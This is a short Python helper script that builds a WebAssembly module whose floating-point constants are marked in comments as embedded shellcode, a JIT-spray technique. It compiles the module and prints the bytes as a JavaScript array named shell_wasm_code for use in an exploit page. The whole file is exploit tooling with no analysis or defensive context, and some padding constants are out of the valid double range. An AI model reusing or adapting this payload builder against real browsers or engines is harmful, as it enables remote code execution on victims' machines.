convertt.py

import os

let_wat_code = '''
(module
  (func (export "main") (result f64)

;; random values to skip the first 8 sets
f64.const  -1.1434324392442428853e-117
f64.const  -5.4434324392442428853e-127
f64.const  -11.1434124392442428853e-137
f64.const  -13.14364224392442428853e-417
f64.const  -8.1434324392442428853e-217
f64.const  -9.14343124392442428853e-917
f64.const  -4.1434324392442428853e-147
f64.const  -3.1434324392442428853e-207
;; actual shellcode start
f64.const  -1.1724392442428853e-117
f64.const  -0.12400912772790662
f64.const  -1.0023968399475393e+120
f64.const  -5.174445551559503e+245
f64.const  8.309884721501063e-246
f64.const  2.0924531835600378e-110
f64.const  3.5295369634097827e+30
f64.const  4.034879290548565e+175
f64.const  -9.77719779008621e-292
f64.const  -5.277350363223755e-137
f64.const  -1.9612807710381365e+23
f64.const  -4.9817023151384955e+187
f64.const  3.8821145718632853e-265
f64.const  4.4758696769951266e-91
f64.const  3.6444951709413225e+88
f64.const  2.068297493580264e+272
f64.const  -2.30331050166288e-156
f64.const  -6.133055897101714e+37
f64.const  -6.566363168750116e+231
f64.const  3.981541606241111e-183
f64.const  5.114004751207929e+24
f64.const  4.30382473625031e+236
f64.const  -7.34464135620729e-164
f64.const  -2.654895332442896e+58
f64.const  -6.289332227853732e+284
f64.const  9.704054915669948e-101
f64.const  8.245485260873783e+136
f64.const  -1.4664329490878978e-238
f64.const  -595821095.8383867
f64.const  -1.6882786039365283e+260
f64.const  1.4260257437024718e-105
f64.const  1.756580575854837e+156
f64.const  -5.049755153600189e-195
f64.const  -2.877513248287838e+76
f64.const  5.686073733779537e-270
f64.const  156842099753.8388
f64.const  3.0133492021078014e+296
f64.const  -1.2683641054452799e-30
f64.const  -1.1570099352819256e+265
f64.const  3.2186700958407686e-57
f64.const  5.5483866055790415e-232
f64.const  1.3598939839597583e+248
f64.const  -1.2260560273454382e-59
f64.const  -2.4583437397837596e+255
f64.const  1.519790613351317e-47
f64.const  1.4111782155483925e+277
f64.const  -1.5026174752884968e-14
f64.const  5.377941070102667e-299
f64.const  1.652515893570588e+40
f64.const  -9.92555940965171e-234
f64.const  -1.4203190632527362e+115
f64.const  5.992776152677602e-154
f64.const  4.086844197172045e+204
f64.const  -5.63151387245987e-50
f64.const  7.778715313007261e-304
f64.const  1.6213710990532128e+69
f64.const  -7.263480274143899e-171
f64.const  -7.343558892089717e+211
f64.const  2.2525263418379107e-23
f64.const  -3.189955872495227e-248
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;; actual shellcode end
drop
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))
'''

open('exp.wat','w').write(let_wat_code)
os.system('./wat2wasm exp.wat')
wasm_bytes = open('exp.wasm','rb').read()
print('let shell_wasm_code = new Uint8Array([',end=' ')
for byte in wasm_bytes:
	print(byte,end=', ')
print(']);')